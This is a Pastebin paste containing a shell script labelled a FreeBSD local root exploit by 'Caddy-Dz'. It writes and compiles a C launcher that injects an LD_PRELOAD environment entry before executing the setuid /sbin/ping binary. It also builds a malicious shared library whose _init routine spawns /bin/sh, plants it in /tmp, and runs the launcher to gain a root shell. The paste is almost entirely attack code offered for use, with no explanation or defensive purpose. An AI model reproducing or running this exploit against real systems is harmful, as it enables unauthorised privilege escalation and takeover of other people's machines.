Guest User

Untitled

a guest
Oct 13th, 2011
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. # Exploit
  2.  
  3. #!/bin/sh
  4. echo ** FreeBSD local r00t Exploit
  5. echo by Caddy-Dz
  6. cat > env.c << _EOF
  7. #include <stdio.h>
  8.  
  9. main() {
  10. extern char **environ;
  11. environ = (char**)malloc(8096);
  12.  
  13. environ[0] = (char*)malloc(1024);
  14. environ[1] = (char*)malloc(1024);
  15. strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
  16.  
  17. execl("/sbin/ping", "ping", 0);
  18. }
  19. _EOF
  20. gcc env.c -o env
  21. cat > program.c << _EOF
  22. #include <unistd.h>
  23. #include <stdio.h>
  24. #include <sys/types.h>
  25. #include <stdlib.h>
  26.  
  27. void _init() {
  28. extern char **environ;
  29. environ=NULL;
  30. system("echo ALEX-ALEX;/bin/sh");
  31. }
  32. _EOF
  33. gcc -o program.o -c program.c -fPIC
  34. gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
  35. cp w00t.so.1.0 /tmp/w00t.so.1.0
  36. ./env
  37.  
  38.  
Advertisement
Add Comment
Please, Sign In to add comment